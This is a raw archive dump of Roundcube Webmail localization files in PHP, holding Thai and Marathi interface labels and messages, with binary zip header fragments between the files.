$labels['nextpage'] = 'หน้าถัดไป';
$labels['lastpage'] = 'แสดงหน้าสุดท้าย';
$labels['group'] = 'กลุ่ม';
$labels['groups'] = 'กลุ่ม';
$labels['listgroup'] = 'แสดงสมาชิกกลุ่ม';
$labels['personaladrbook'] = 'สมุดรายชื่อส่วนตัว';
$labels['searchsave'] = 'บันทึกการค้นหา';
$labels['searchdelete'] = 'ลบการค้นหา';
$labels['import'] = 'นำเข้า';
$labels['importcontacts'] = 'นำเข้าผู้ติดต่อ';
$labels['importtarget'] = 'เพิ่มผู้ติดต่อถึง';
$labels['importreplace'] = 'แทนที่ทั้งหมดในสมุดรายชื่อ';
$labels['importgroups'] = 'นำเข้ากลุ่มที่ได้รับมอบหมาย';
$labels['importgroupsall'] = 'ทั้งหมด (สร้างกลุ่มหากจำเป็น)';
$labels['importgroupsexisting'] = 'เฉพาะสำหรับกลุ่มที่มีอยู่เท่านั้น';
$labels['done'] = 'สำเร็จ';
$labels['settingsfor'] = 'ตั้งค่าสำหรับ';
$labels['about'] = 'เกี่ยวกับ';
$labels['preferences'] = 'ปรับแต่ง';
$labels['userpreferences'] = 'ข้อมูลส่วนตัว';
$labels['editpreferences'] = 'แก้ไขข้อมูลส่วนตัว';
$labels['identities'] = 'ชื่อแสดงตัว';
$labels['manageidentities'] = 'จัดการข้อมูลประจำตัว';
$labels['newidentity'] = 'สร้างข้อมูลประจำตัวใหม่';
$labels['addidentity'] = 'เพิ่มข้อมูลประจำตัว';
$labels['editidentity'] = 'แก้ไขข้อมูลประจำตัว';
$labels['preferhtml'] = 'อ่านแบบ HTML';
$labels['defaultcharset'] = 'ชุดอักขระเริ่มต้น';
$labels['htmlmessage'] = 'จดหมาย HTML';
$labels['messagepart'] = 'ส่วนหนึ่ง';
$labels['digitalsig'] = 'ลายเซ็นดิจิตอล';
$labels['dateformat'] = 'รูปแบบวันที่';
$labels['timeformat'] = 'รูปแบบเวลา';
$labels['prettydate'] = 'แสดงวันที่แบบย่อ';
$labels['setdefault'] = 'ตั้งเป็นค่าใช้งาน';
$labels['autodetect'] = 'อัตโนมัติ';
$labels['language'] = 'ภาษา';
$labels['timezone'] = 'เขตเวลา';
$labels['pagesize'] = 'จำนวนจดหมายต่อหน้า';
$labels['signature'] = 'ลายมือชื่อ';
$labels['dstactive'] = 'Daylight savings';
$labels['showinextwin'] = 'เปิดข้อความไปที่หน้าต่างใหม่';
$labels['composeextwin'] = 'เขียนในหน้าต่างใหม่';
$labels['htmleditor'] = 'เขียนจดหมายแบบ HTML';
$labels['htmlonreply'] = 'ตอบกลับในแบบ HTML';
$labels['htmlonreplyandforward'] = 'ส่งต่อ หรือ ตอบกลับ ในแบบ HTML';
$labels['htmlsignature'] = 'ลายมือชื่อแบบ HTML';
$labels['showemail'] = 'แสดงที่อยู่อีเมลที่ชื่อ';
$labels['previewpane'] = 'แสดงหน้าต่างตัวอย่างแสดงผล';
$labels['skin'] = 'Interface skin';
$labels['logoutclear'] = 'ลบเมล์ในถึงขยะเมื่อออกจากระบบ';
$labels['logoutcompact'] = 'กระชับกล่องจดหมายเข้าเมื่อออกจากระบบ';
$labels['uisettings'] = 'หน้าจอผู้ใช้';
$labels['serversettings'] = 'Server Settings';
$labels['mailboxview'] = 'มุมมองกล่องจดหมาย';
$labels['mdnrequests'] = 'ร้องขอการยืนยันการอ่าน';
$labels['askuser'] = 'ถามฉัน';
$labels['autosend'] = 'ส่ง ตอบรับ';
$labels['autosavedraft'] = 'บันทึกเป็นจดหมายร่างอัตโนมัติ';
$labels['never'] = 'ไม่ใช้';
$labels['advancedoptions'] = 'ตัวเลือกขั้นสูง';
$labels['newmessage'] = 'ข้อความใหม่';
$labels['signatureoptions'] = 'ตัวเลือกสำหรับลายเซ็็นต์';
$labels['whenreplying'] = 'เมื่อตอบกลับ';
$labels['autoaddsignature'] = 'เพิ่มลายเซ็นต์เข้าไปอัตโนมัติ';
$labels['newmessageonly'] = 'เฉพาะข้อความใหม่เท่านั้น';
$labels['replyandforwardonly'] = 'ตอบกลับและส่งต่อเท่านั้น';
$labels['insertsignature'] = 'แทรกลายเซ็นต์';
$labels['asattachment'] = 'เป็นไฟล์แนบ';
$labels['allmessages'] = 'ข้อความทั้งหมด';
$labels['folder'] = 'กล่องจดหมาย';
$labels['folders'] = 'กล่องจดหมาย';
$labels['foldername'] = 'ชื่อกล่องจดหมาย';
$labels['subscribed'] = 'ลงชื่อ';
$labels['messagecount'] = 'ข้อความ';
$labels['create'] = 'สร้าง';
$labels['createfolder'] = 'สร้างกล่องจดหมาย';
$labels['managefolders'] = 'จัดการกล่องจดหมาย';
$labels['specialfolders'] = 'โฟลเดอร์พิเศษ';
$labels['properties'] = 'คุณสมบัติ';
$labels['folderproperties'] = 'คุณสมบัติเกี่ยวกับโฟลเดอร์';
$labels['parentfolder'] = 'โฟลเดอร์แม่';
$labels['info'] = 'ข้อมูล';
$labels['foldertype'] = 'ประเภทโฟลเดอร์';
$labels['personalfolder'] = 'โฟลเดอร์ส่วนตัว';
$labels['sharedfolder'] = 'โฟลเดอร์สาธารณะ';
$labels['sortby'] = 'เรียงตาม';
$labels['sortasc'] = 'เรียงจากหน้าไปหลัง';
$labels['sortdesc'] = 'เรียงจากหลังไปหน้า';
$labels['undo'] = 'เลิกทำ';
$labels['installedplugins'] = 'ปลั๊กอินที่ติดตั้ง';
$labels['plugin'] = 'ปลั๊กอิน';
$labels['version'] = 'รุ่น';
$labels['license'] = 'สัญญาอนุญาต';
$labels['B'] = 'ไบต์';
$labels['KB'] = 'กิโลไบต์';
$labels['MB'] = 'เมกะไบต์';
$labels['GB'] = 'จิกะไบต์';
$labels['unicode'] = 'Unicode';
PK
h�\��O���'program/localization/th_TH/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'เกิดข้อผิดพลาดบางประการ!';
$messages['loginfailed']  = 'ไม่สามารถเข้าสู่ระบบได้';
$messages['cookiesdisabled'] = 'Browser ของคุณไม่ได้เปิดการใช้งาน Cookie ไว้';
$messages['sessionerror'] = 'Your session is invalid or expired';
$messages['storageerror'] = 'ไม่สามารถติดต่อ IMAP Server ได้';
$messages['servererror'] = 'เกิดข้อผิดพลาดเกี่ยวกับเซิร์ฟเวอร์';
$messages['dberror'] = 'เกิดข้อผิดพลาดเกี่ยวกับฐานข้อมูล';
$messages['invalidhost'] = 'ชื่อเซิร์ฟเวอร์ไม่ถูกต้อง';
$messages['nomessagesfound'] = 'ไม่มีจดหมายในกล่องจดหมายนี้';
$messages['refreshing'] = 'กำลังรีเฟรช...';
$messages['loading'] = 'Loading...';
$messages['uploading'] = 'กำลังอัพโหลดไฟล์...';
$messages['uploadingmany'] = 'กำลังอัพโหลดไฟล์...';
$messages['loadingdata'] = 'กำลังโหลดข้อมูล...';
$messages['checkingmail'] = 'กำลังเช็คจดหมายใหม่...';
$messages['sendingmessage'] = 'กำลังส่งจดหมาย...';
$messages['messagesent'] = 'จดหมายถูกส่งเรียบร้อยแล้ว';
$messages['savingmessage'] = 'กำลังบันทึกจดหมาย...';
$messages['messagesaved'] = 'จดหมายถูกบันทึกเป็นจดหมายร่าง';
$messages['successfullysaved'] = 'บันทึกเรียบร้อยแล้ว';
$messages['addedsuccessfully'] = 'รายชื่อถูกบันทึกเรียบร้อยแล้ว';
$messages['blockedimages'] = 'เพื่อปกป้องความส่วนตัว รูปจากภายนอกในจดหมายนี้จะถูกปิดบังไว้';
$messages['encryptedmessage'] = 'จดหมายถูกเข้ารหัสไม่สามารถแสดงผลได้';
$messages['nocontactsfound'] = 'ไม่พบรายชื่อที่ค้นหา';
$messages['contactnotfound'] = 'ไม่พบรายชื่อที่ค้นหา';
$messages['sendingfailed'] = 'การส่งจดหมายล้มเหลว';
$messages['errormoving'] = 'ไม่สามารถย้ายจดหมายได้';
$messages['errordeleting'] = 'ไม่สามารถลบจดหมายได้';
$messages['deletecontactconfirm']  = 'คุณมั่นใจที่ต้องการลบรายชื่อที่เลือกใช่หรือไม่?';
$messages['deletemessagesconfirm'] = 'คุณมั่นใจที่ต้องการลบจดหมายที่เลือกใช่หรือไม่?';
$messages['deletefolderconfirm']  = 'คุณมั่นใจที่ต้องการลบแฟ้มนี้หรือไม่?';
$messages['purgefolderconfirm']  = 'คุณมั่นใจที่ต้องการลบจดหมายทั้งหมดในแฟ้มนี้ใช่หรือไม่?';
$messages['contactdeleting'] = 'กำลังลบรายชื่อผู้ติดต่อ...';
$messages['groupdeleting'] = 'กำลังลบกลุ่ม...';
$messages['folderdeleting'] = 'กำลังลบโฟลเดอร์...';
$messages['foldermoving'] = 'กำลังย้ายโฟลเดอร์...';
$messages['formincomplete'] = 'ฟอร์มยังไม่ครบถ้วนสมบูรณ์';
$messages['noemailwarning'] = 'โปรดใส่อีเมล์ให้ถูกต้อง';
$messages['nonamewarning']  = 'โปรดใส่ชื่อ';
$messages['nopagesizewarning'] = 'โปรดใส่จำนวนหน้า';
$messages['norecipientwarning'] = 'โปรดใส่ผู้รับอย่างน้อย 1 ชื่อ';
$messages['nosubjectwarning']  = 'หัวจดหมายว่างเปล่า คุณต้องการใส่หัวจดหมายเดี๋ยวนี้หรือไม่?';
$messages['nobodywarning'] = 'คุณต้องการส่งจดหมายโดยไม่มีข้อความใช่หรือไม่?';
$messages['nosearchname'] = 'โปรดใสชื่อหรืออีเมล์';
$messages['searchsuccessful'] = 'พบจดหมายจำนวน $nr ฉบับ';
$messages['searchnomatch'] = 'การค้นหาไม่พบ';
$messages['searching'] = 'กำลังค้นหา...';
$messages['checking'] = 'กำลังตรวจสอบ...';
$messages['nospellerrors'] = 'ไม่พบคำที่สะกดผิด';
$messages['folderdeleted'] = 'ลบแฟ้มเสร็จสมบูรณ์';
$messages['deletedsuccessfully'] = 'ลบเสร็จสมบูรณ์';
$messages['converting'] = 'นำเอาหารจัดรูปแบบในจดหมายออก...';
$messages['messageopenerror'] = 'ไม่สามารถอ่านจดหมายจาก Server ได้';
$messages['fileuploaderror'] = 'การอัพโหลดล้มเหลว';
$messages['filesizeerror'] = 'ไฟล์มีขนาดใหญ่เกิน $size';
$messages['sourceisreadonly'] = 'จดหมายนี้เป็นแบบอ่านอย่างเดียว';
$messages['errorsavingcontact'] = 'ไม่สามารถบันทึกรายชื่อได้';
$messages['movingmessage'] = 'กำลังย้ายข้อความ...';
$messages['copyingmessage'] = 'กำลังคัดลอกข้อความ...';
$messages['copyingcontact'] = 'กำลังคัดลอกรายชื่อผู้ติดต่อ...';
$messages['deletingmessage'] = 'กำลังลบข้อความ...';
$messages['importwait'] = 'กำลังนำเข้าข้อมูล, โปรดรอสักครู่';
PK
h�\��va�]�]%program/localization/mr_IN/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product वरती स्वागत आहे';
$labels['username'] = 'वापरकर्त्याचे नाव(तुमचे इमेल)';
$labels['password'] = 'परवलीचा शब्द';
$labels['server'] = 'सर्व्हर';
$labels['login'] = 'प्रवेश';
$labels['logout'] = 'बाहेर जा';
$labels['mail'] = 'इ-मेल';
$labels['settings'] = 'तुमची पसंती';
$labels['addressbook'] = 'पत्ता नोंदवही';
$labels['inbox'] = 'आलेले संदेश';
$labels['drafts'] = 'मसुदा';
$labels['sent'] = 'पाठवलेले';
$labels['trash'] = 'कचरा पेटी';
$labels['junk'] = 'नको असलेले कचरा संदेश';
$labels['subject'] = 'विषय';
$labels['from'] = 'प्रेषक';
$labels['sender'] = 'प्रेषक';
$labels['to'] = 'प्रती';
$labels['cc'] = 'प्रत';
$labels['bcc'] = 'गुप्त प्रत';
$labels['replyto'] = 'यास उत्तर द्या';
$labels['date'] = 'दिनांक';
$labels['size'] = 'आकार';
$labels['priority'] = 'प्राधान्य';
$labels['organization'] = 'संस्था';
$labels['readstatus'] = 'वाचन स्थिती';
$labels['listoptions'] = 'विकल्प सूची';
$labels['mailboxlist'] = 'फोल्डर्स';
$labels['messagesfromto'] = 'संदेश $from कडून $to साठी $count वा';
$labels['threadsfromto'] = 'धागे $from कडून $to साठी $count वा';
$labels['messagenrof'] = 'Message $nr of $count';
$labels['copy'] = 'नक्‍कल';
$labels['move'] = 'हलवा';
$labels['moveto'] = 'या फोल्डरमधे ठेवा';
$labels['download'] = 'उतरवून घ्या';
$labels['filename'] = 'फाईलचे नाव';
$labels['filesize'] = 'फाईलचा आकार';
$labels['addtoaddressbook'] = 'पत्ता नोंदवहीत नोंदवा';
$labels['sun'] = 'रवी';
$labels['mon'] = 'सोम';
$labels['tue'] = 'मंगळ';
$labels['wed'] = 'बुध';
$labels['thu'] = 'गुरु';
$labels['fri'] = 'शुक्र';
$labels['sat'] = 'शनी';
$labels['sunday'] = 'रविवार';
$labels['monday'] = 'सोमवार';
$labels['tuesday'] = 'मंगळवार';
$labels['wednesday'] = 'बुधवार';
$labels['thursday'] = 'गुरुवार';
$labels['friday'] = 'शुक्रवार';
$labels['saturday'] = 'शनीवार';
$labels['jan'] = 'जाने';
$labels['feb'] = 'फेब्';
$labels['mar'] = 'मार्च';
$labels['apr'] = 'एप्रिल';
$labels['may'] = 'मे';
$labels['jun'] = 'जून';
$labels['jul'] = 'जुलै';
$labels['aug'] = 'ऑगस्ट';
$labels['sep'] = 'सप्टें';
$labels['oct'] = 'ऑक्टो';
$labels['nov'] = 'नोव्हें';
$labels['dec'] = 'डिसें';
$labels['longjan'] = 'जानेवारी';
$labels['longfeb'] = 'फेब्रूवारी';
$labels['longmar'] = 'मार्च';
$labels['longapr'] = 'एप्रिल';
$labels['longmay'] = 'मे';
$labels['longjun'] = 'जून';
$labels['longjul'] = 'जुलै';
$labels['longaug'] = 'ऑगस्ट';
$labels['longsep'] = 'सप्टेंबर';
$labels['longoct'] = 'ऑक्टोबर';
$labels['longnov'] = 'नोव्हेंबर';
$labels['longdec'] = 'डिसेंबर';
$labels['today'] = 'आज';
$labels['refresh'] = 'अद्ययावत करा';
$labels['checkmail'] = 'नवीन संदेश आले आहेत का पहा';
$labels['compose'] = 'नवीन संदेश तयार करा';
$labels['writenewmessage'] = 'नवीन संदेश तयार करा';
$labels['reply'] = 'उत्तर दया';
$labels['replytomessage'] = 'पाठवणार्‍याला उत्तर द्या';
$labels['replytoallmessage'] = 'पाठवणार्‍याला आणि प्रत केलेल्या सर्वांना संदेश पाठवा';
$labels['replyall'] = 'सर्वांना उत्तर दया';
$labels['forwardmessage'] = 'हा संदेश पुढे पाठवा';
$labels['deletemessage'] = 'संदेश काढून टाका';
$labels['movemessagetotrash'] = 'संदेश कचरापेटीत टाका';
$labels['printmessage'] = 'हा संदेश छापा';
$labels['previousmessage'] = 'आधिचा संदेश दाखवा';
$labels['firstmessage'] = 'पहिला संदेश दाखवा';
$labels['nextmessage'] = 'नंतरचा संदेश दाखवा';
$labels['lastmessage'] = 'शेवटचा संदेश दाखवा';
$labels['backtolist'] = 'संदेशांच्या यादीकडे परत चला';
$labels['viewsource'] = 'मूळ संदेशाचा प्रोग्राम कोड दाखवा';
$labels['mark'] = 'खूण';
$labels['markmessages'] = 'संदेशांना खूण करा';
$labels['markread'] = 'वाचलेला म्हणून खूण करा';
$labels['markunread'] = 'न वाचलेला म्हणून खूण करा';
$labels['markflagged'] = 'खूण लावलेला म्हणून खूण करा';
$labels['markunflagged'] = 'खूण काढलेला म्हणून खूण करा';
$labels['moreactions'] = 'अधिक कृती..';
$labels['more'] = 'अधिक';
$labels['back'] = 'मागे';
$labels['options'] = 'पर्याय';
$labels['select'] = 'निवडा';
$labels['all'] = 'सर्व';
$labels['none'] = 'कोणताही नाही';
$labels['currpage'] = 'सध्‍याचे पान';
$labels['unread'] = 'न वाचलेले';
$labels['flagged'] = 'खूण लावलेले';
$labels['unanswered'] = 'उत्तर न दिलेले';
$labels['deleted'] = 'काढून टाकलेला(ले)';
$labels['invert'] = 'उलट करा';
$labels['filter'] = 'गाळणी';
$labels['list'] = 'यादी';
$labels['threads'] = 'धागे';
$labels['expand-all'] = 'सर्व विस्‍तारीत करा';
$labels['expand-unread'] = 'न वाचलेला विस्‍तारा';
$labels['collapse-all'] = 'सर्व मिटवा';
$labels['threaded'] = 'धागा लावलेला';
$labels['autoexpand_threads'] = 'संदेश धागे विस्‍तारा';
$labels['do_expand'] = 'सर्व धागे';
$labels['expand_only_unread'] = 'फक्‍त न वाचलेल्‍या संदेशांबददल';
$labels['fromto'] = 'पाठवणारा/प्रती';
$labels['flag'] = 'खूण';
$labels['attachment'] = 'जोड';
$labels['nonesort'] = 'कोणताही नाही';
$labels['sentdate'] = 'पाठवणी दिनांक';
$labels['arrival'] = 'आगमन दिनांक';
$labels['asc'] = 'चढत्‍या क्रमाने';
$labels['desc'] = 'उतरत्‍या क्रमाने';
$labels['listcolumns'] = 'सुची स्‍तंभ';
$labels['listsorting'] = 'स्‍तंभ वर्गीकरण';
$labels['listorder'] = 'वर्गीकरण क्रम';
$labels['listmode'] = 'यादी दर्शक पध्‍दत';
$labels['layoutlist'] = 'यादी';
$labels['folderactions'] = 'फोल्डर कृती..';
$labels['compact'] = 'छोटा';
$labels['empty'] = 'रिकामा';
$labels['quota'] = 'डिस्कचा वापर';
$labels['unknown'] = 'माहित नसलेला';
$labels['unlimited'] = 'अमर्याद';
$labels['quicksearch'] = 'चटकन शोध';
$labels['resetsearch'] = 'परत शोध';
$labels['searchmod'] = 'बदलकर्त्‍यांना शोधा';
$labels['msgtext'] = 'संपूर्ण संदेश';
$labels['openinextwin'] = 'नवीन खिडकी उघडा';
$labels['emlsave'] = 'इएमएल स्‍वरूपात उतरवून घ्या';
$labels['editasnew'] = 'नवीन आहे असा संपादित करा';
$labels['sendmessage'] = 'आत्ता पाठवा';
$labels['savemessage'] = 'हा मसूदा साठवून ठेवा';
$labels['addattachment'] = 'फाईल सोबत जोडा';
$labels['charset'] = 'कॅरेक्टर सेट';
$labels['editortype'] = 'संपादकाचा प्रकार';
$labels['returnreceipt'] = 'पोच पावती';
$labels['dsn'] = 'पोच स्थिती निर्देशक';
$labels['mailreplyintro'] = '$date या दिवशी $sender ने लिहीले :';
$labels['originalmessage'] = 'खरा संदेश';
$labels['editidents'] = 'ओळख संपादित करा';
$labels['spellcheck'] = 'लिखाण';
$labels['checkspelling'] = 'शुध्द लेखन';
$labels['resumeediting'] = 'परत संदेश संपादित करा';
$labels['revertto'] = 'परत जा';
$labels['attach'] = 'जोडा';
$labels['attachments'] = 'जोडलेल्या';
$labels['upload'] = 'चढवा';
$labels['close'] = 'बंद';
$labels['messageoptions'] = 'संदेश पर्याय..';
$labels['low'] = 'कमी';
$labels['lowest'] = 'कमित कमी';
$labels['normal'] = 'नेहमी प्रमाणे';
$labels['high'] = 'तातडीचे';
$labels['highest'] = 'अतिशय तातडीचे';
$labels['nosubject'] = '(विषय नाही)';
$labels['showimages'] = 'चित्र दाखवा';
$labels['alwaysshow'] = '$sender कडून आलेल्या संदेशातील चित्रे नेहमी दाखवा';
$labels['isdraft'] = 'हा मसुदा संदेश आहे';
$labels['htmltoggle'] = 'एच टी एम एल';
$labels['plaintoggle'] = 'साधे लिखाण';
$labels['savesentmessagein'] = 'पाठवलेला संदेश या फोल्डरमधे ठेवा';
$labels['dontsave'] = 'संदेश साठवू नका';
$labels['maxuploadsize'] = 'जास्‍तीत जास्‍त फाइलचा आकार $size असू शकतो';
$labels['addcc'] = 'प्रत करा';
$labels['addbcc'] = 'गुप्त प्रत करा';
$labels['addreplyto'] = 'आणखी लोकांना संदेश पाठवा';
$labels['mdnrequest'] = 'हा संदेश पाठवणार्‍याने हा संदेश तुम्ही वाचल्यावर कळवावयाला सांगितले आहे. तुम्हाला असे कळवणे चालेल ना?';
$labels['receiptread'] = 'पोच पावती (संदेश वाचला)';
$labels['yourmessage'] = 'ही तुमच्या संदेशाची पोच पावती आहे.';
$labels['receiptnote'] = 'सूचना: ही पोच पावती तुम्ही ज्यांना  संदेश पाठवला त्यांच्या संगणकावर दिसला एवढेच सांगते. तुम्ही ज्यांना हा संदेश पाठवला, त्यांनी तो वाचला, आणि त्यांना तो नक्की समजला हे मात्र सांगत नाही.';
$labels['name'] = 'टोपणनाव';
$labels['firstname'] = 'नाव';
$labels['surname'] = 'आडनाव';
$labels['middlename'] = 'मधले नाव';
$labels['nickname'] = 'टोपणनाव';
$labels['jobtitle'] = 'कामाचे शिर्षक';
$labels['department'] = 'विभाग';
$labels['gender'] = 'लिंग';
$labels['email'] = 'इ-मेल्';
$labels['phone'] = 'दूरध्वनी';
$labels['address'] = 'पत्ता';
$labels['street'] = 'रस्ता';
$labels['locality'] = 'शहर';
$labels['region'] = 'राज्य / संस्थान';
$labels['country'] = 'देश';
$labels['birthday'] = 'वाढदिवस';
$labels['website'] = 'संकेतस्थळ';
$labels['notes'] = 'टिपा';
$labels['male'] = 'पुरूष';
$labels['female'] = 'स्त्री';
$labels['manager'] = 'व्यवस्थापक';
$labels['assistant'] = 'सहाय्यक';
$labels['search'] = 'शोध';
$labels['advsearch'] = 'प्रगत शोध';
$labels['advanced'] = 'आधुनिक';
$labels['other'] = 'इतर';
$labels['typehome'] = 'मुख्यपृष्ठ';
$labels['typework'] = 'काम';
$labels['typeother'] = 'इतर';
$labels['typemobile'] = 'भ्रमणध्वनी';
$labels['typemain'] = 'मुख्य';
$labels['typevideo'] = 'चलचित्र';
$labels['typeassistant'] = 'सहाय्यक';
$labels['typehomepage'] = 'मुख्य पृष्ठ';
$labels['editcontact'] = 'नोंदवहीतील पत्ता सुधारा';
$labels['contacts'] = 'संपर्क';
$labels['personalinfo'] = 'वैयक्तिक माहिती';
$labels['edit'] = 'संदेश तयार करा';
$labels['cancel'] = 'रद्द करा';
$labels['save'] = 'ठेवून द्या';
$labels['delete'] = 'काढून टाका';
$labels['rename'] = 'दूसरे नाव द्या';
$labels['addphoto'] = 'समावेश करा';
$labels['replacephoto'] = 'बदला';
$labels['deletecontact'] = 'खूण केलेले सर्व संपर्काचे पत्ते काढून टाका';
$labels['composeto'] = 'साठी नवीन संदेश तयार करा';
$labels['contactsfromto'] = '$from पासून ते $to पर्यंत $count पैकी';
$labels['print'] = 'छापा';
$labels['export'] = 'निर्यात करा';
$labels['exportvcards'] = 'व्ही कार्ड स्वरुपात पत्ते निर्यात करा';
$labels['groupdelete'] = 'गट नष्ट करा';
$labels['previouspage'] = 'आधिचा संच दाखवा';
$labels['firstpage'] = 'पहिला संच दाखवा';
$labels['nextpage'] = 'नंतरचा संच दाखवा';
$labels['lastpage'] = 'शेवटचा संच दाखवा';
$labels['group'] = 'गट';
$labels['groups'] = 'अनेक गट';
$labels['personaladrbook'] = 'वैयक्तिक पत्ते';
$labels['searchsave'] = 'शोध जतन करा';
$labels['searchdelete'] = 'शोध नष्ट करा';
$labels['import'] = 'आयात करा';
$labels['importcontacts'] = 'पत्ते आयात करा';
$labels['importreplace'] = 'संपूर्ण पत्ता नोंदवही बदला';
$labels['done'] = 'झाले';
$labels['settingsfor'] = 'साठी सेटिंग्ज';
$labels['about'] = 'च्या विषयी';
$labels['preferences'] = 'तुमची पसंती';
$labels['userpreferences'] = 'वापरकर्त्याची पसंती';
$labels['editpreferences'] = 'वापरकर्त्याची पसंती सुधारा';
$labels['identities'] = 'ओळख';
$labels['preferhtml'] = 'एच टी एम एल दाखवा';
$labels['defaultcharset'] = 'नेहमीचा अक्षर संच';
$labels['htmlmessage'] = 'एच टी एम एल संदेश';
$labels['prettydate'] = 'विशेष दिवस';
$labels['setdefault'] = 'हा नेहमीसाठी वापरा';
$labels['autodetect'] = 'स्वयंचलित';
$labels['language'] = 'भाषा';
$labels['timezone'] = 'वेळ  क्षेत्र';
$labels['pagesize'] = 'प्रत्येक पानावरील ओळी';
$labels['signature'] = 'सही';
$labels['dstactive'] = 'दिवसाची वेळ';
$labels['htmleditor'] = 'एच टी एम एल संदेश तयारा करा';
$labels['htmlsignature'] = 'एच टी एम एल सही';
$labels['previewpane'] = 'प्रक्रियापूर्व तावदान दाखवा';
$labels['skin'] = 'दृष्य गोष्टी';
$labels['logoutclear'] = 'खात्यातून बाहेर पडतांना कचरा पेटी साफ करा';
$labels['logoutcompact'] = 'खात्यातून बाहेर पडतांना आलेल्या संदेशांना छोटे आणि व्यवस्थित करा';
$labels['uisettings'] = 'वापरकर्त्यासाठीचा इंटरफेस';
$labels['serversettings'] = 'सर्व्हरची सेटिंग्ज';
$labels['mailboxview'] = 'टपालपेटी पहाणे';
$labels['mdnrequests'] = 'पाठवणार्‍याच्या सूचना';
$labels['askuser'] = 'वापरकर्त्याला विचारा';
$labels['autosend'] = 'स्वयंचलित (आपोआप पाठवणे)';
$labels['readwhendeleted'] = 'काढून टाकल्यावर संदेश वाचला असे दाखवा';
$labels['flagfordeletion'] = 'संदेश काढून टाकण्या ऎवजी संदेश काढून टाकण्यासाठी आहे अशी खूण करा';
$labels['skipdeleted'] = 'काढून टाकलेले संदेश दाखवू नका';
$labels['deletealways'] = 'जर संदेश कचरापेटीत गेले नाहीत तर काढून टाका';
$labels['showremoteimages'] = 'संदेशातील चित्रे दाखवा';
$labels['fromknownsenders'] = 'माहितीतील पाठवणार्‍याकडून संदेश';
$labels['always'] = 'नेहमी';
$labels['showinlineimages'] = 'सोबत जोडलेली चित्रे संदेशाच्या खाली दाखवा';
$labels['autosavedraft'] = 'मसूदा आपोआप जतन करा';
$labels['everynminutes'] = 'प्रत्येक $n मिनिटांनी';
$labels['never'] = 'कधीच नाही';
$labels['immediately'] = 'ताबडतोब';
$labels['messagesdisplaying'] = 'संदेश दाखवा';
$labels['messagescomposition'] = 'संदेश तयार करा';
$labels['mimeparamfolding'] = 'सोबत दिलेल्या फाईल्सची नावे';
$labels['2231folding'] = 'संपूर्ण आर एफ सी 2231(थंडरबर्ड)';
$labels['miscfolding'] = 'आर एफ सी  2047/2231 (मायक्रोसॉफ़्ट आऊटलूक)';
$labels['2047folding'] = 'संपूर्ण आर एफ सी 2047(ईतर)';
$labels['force7bit'] = '8 अक्षरी एमआयएमई संक्षिप्‍तरूप वापरा';
$labels['advancedoptions'] = 'अधिक पर्याय';
$labels['focusonnewmessage'] = 'ब्राऊझर खिडकी नवीन संदेशावर केंद्रित करा';
$labels['checkallfolders'] = 'सर्व फोल्डरमधे नवीन संदेश शोधा';
$labels['mainoptions'] = 'मुख्‍य पर्याय';
$labels['section'] = 'भाग';
$labels['maintenance'] = 'देखभाल';
$labels['newmessage'] = 'नवीन संदेश';
$labels['signatureoptions'] = 'सही पर्याय';
$labels['whenreplying'] = 'उत्‍तर देताना';
$labels['replytopposting'] = 'नवीन संदेश मुळ संदेशाच्‍या वर चालू करा';
$labels['replybottomposting'] = 'नवीन संदेश मुळ संदेशाच्‍या खाली चालू करा';
$labels['replyremovesignature'] = 'उत्‍तर देताना मुळ सही संदेशातून काढून टाका';
$labels['autoaddsignature'] = 'आपोआप सही करा';
$labels['newmessageonly'] = 'फक्‍त नवीन संदेश';
$labels['replyandforwardonly'] = 'फक्‍त उत्‍तरे आ‍णी पुढे पाठवलेले संदेश';
$labels['insertsignature'] = 'सही मध्‍ये टाका';
$labels['afternseconds'] = '$n क्षणानंतर';
$labels['reqmdn'] = 'नेहमी पोचपावतीची विनंती करा';
$labels['reqdsn'] = 'नेहमी पोचपावती स्थिती निर्देशाची विनंती करा';
$labels['allmessages'] = 'सर्व संदेश';
$labels['folder'] = 'फोल्डर';
$labels['folders'] = 'फोल्डर्स';
$labels['foldername'] = 'फोल्डरचे नाव';
$labels['subscribed'] = 'वर्गणिदार होणे';
$labels['messagecount'] = 'संदेश';
$labels['create'] = 'तयार करा';
$labels['createfolder'] = 'नवीन फोल्डर तयार करा';
$labels['managefolders'] = 'फोल्डर्सचे नियोजन करा';
$labels['specialfolders'] = 'विषेश फोल्डर';
$labels['sortby'] = 'ने वर्गवारी करा';
$labels['sortasc'] = 'चढत्या क्रमाने';
$labels['sortdesc'] = 'उतरत्या क्रमाने';
$labels['B'] = 'बाइट';
$labels['KB'] = 'केबी';
$labels['MB'] = 'एमबी';
$labels['GB'] = 'जीबी';
$labels['unicode'] = 'युनिकोड';
$labels['english'] = 'इंग्रजी';
$labels['westerneuropean'] = 'पश्चिम युरोपियन';
$labels['easterneuropean'] = 'पूर्व युरोपियन';
$labels['southeasterneuropean'] = 'दक्षिणपूर्व युरोपियन';
$labels['baltic'] = 'बाल्‍टीक';
$labels['cyrillic'] = 'सिरीलिक';
$labels['arabic'] = 'अरेबिक';
$labels['greek'] = 'ग्रीक';
$labels['hebrew'] = 'हिब्रु';
$labels['turkish'] = 'तुर्कि';
$labels['nordic'] = 'नॉर्डिक';
$labels['thai'] = 'थाइ';
$labels['celtic'] = 'सेल्टिक';
$labels['vietnamese'] = 'व्हिएतनामी';
$labels['japanese'] = 'जपानी';
$labels['korean'] = 'कोरियन';
$labels['chinese'] = 'चिनी';
PK
h�\��r�/�/'program/localization/mr_IN/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
